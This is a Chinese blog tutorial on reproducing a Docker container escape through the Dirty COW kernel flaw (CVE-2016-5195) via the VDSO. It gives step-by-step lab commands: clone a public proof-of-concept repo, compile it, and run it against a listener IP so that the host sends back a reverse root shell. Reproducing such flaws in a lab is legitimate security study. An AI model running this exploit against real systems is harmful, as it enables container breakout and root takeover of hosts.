Docker逃逸--脏牛漏洞POC测试
脏牛漏洞(CVE-2016-5195)与VDSO(虚拟动态共享对象)
一、漏洞描述
Dirty Cow(CVE-2016-5195)是Linux内核中的权限提升漏洞,源于Linux内核的内存子系统在处理写入时拷贝(copy-on-write, Cow)存在竞争条件(race condition),允许恶意用户提权获取其他只读内存映射的写访问权限。
竞争条件意为任务执行顺序异常,可能导致应用崩溃或面临攻击者的代码执行威胁。利用该漏洞,攻击者可在其目标系统内提升权限,甚至获得root权限。VDSO就是Virtual Dynamic Shared Object(虚拟动态共享对象),即内核提供的虚拟.so。该.so文件位于内核而非磁盘,程序启动时,内核把包含某.so的内存页映射入其内存空间,对应程序就可作为普通.so使用其中的函数。
在容器中利用VDSO内存空间中的“clock_gettime() ”函数可对脏牛漏洞发起攻击,令系统崩溃并获得root权限的shell,且浏览容器之外主机上的文件。
二、漏洞利用条件
docker与宿主机共享内核,如果要触发这个漏洞,需要宿主机存在dirtyCow漏洞的宿主机。
这里,我们使用ubuntu-14.04.5来复现。
Ubuntu系统镜像下载:http://old-releases.ubuntu.com/releases/14.04.0/ubuntu-14.04.5-server-amd64.iso
内核版本(共享内核):
宿主机:
bypass@ubuntu-docker:/$ uname -a Linux ubuntu-docker 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:07:32 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
容器:
root@59b203abf9d1:/# uname -r
4.4.0-31-generic
root@59b203abf9d1:/#
root@59b203abf9d1:/# cat /etc/issue
Ubuntu 20.04 LTS \n \l
三、漏洞测试复现
1、测试环境下载
git clone https://github.com/gebl/dirtycow-docker-vdso.git
2、运行测试容器
cd dirtycow-docker-vdso/
sudo docker-compose run dirtycow /bin/bash
3、进入容器,编译POC并执行
cd /dirtycow-vdso/ make ./0xdeadbeef 192.168.172.136:1234
4、在192.168.172.136监听本地端口,成功接收到宿主机反弹的shell。
参考文章:
https://github.com/gebl/dirtycow-docker-vdso/blob/main/Dockerfile
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· Linux系列:如何用heaptrack跟踪.NET程序的非托管内存泄露
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 【译】Visual Studio 中新的强大生产力特性
· 2025年我用 Compose 写了一个 Todo App
· 张高兴的大模型开发实战:(一)使用 Selenium 进行网页爬虫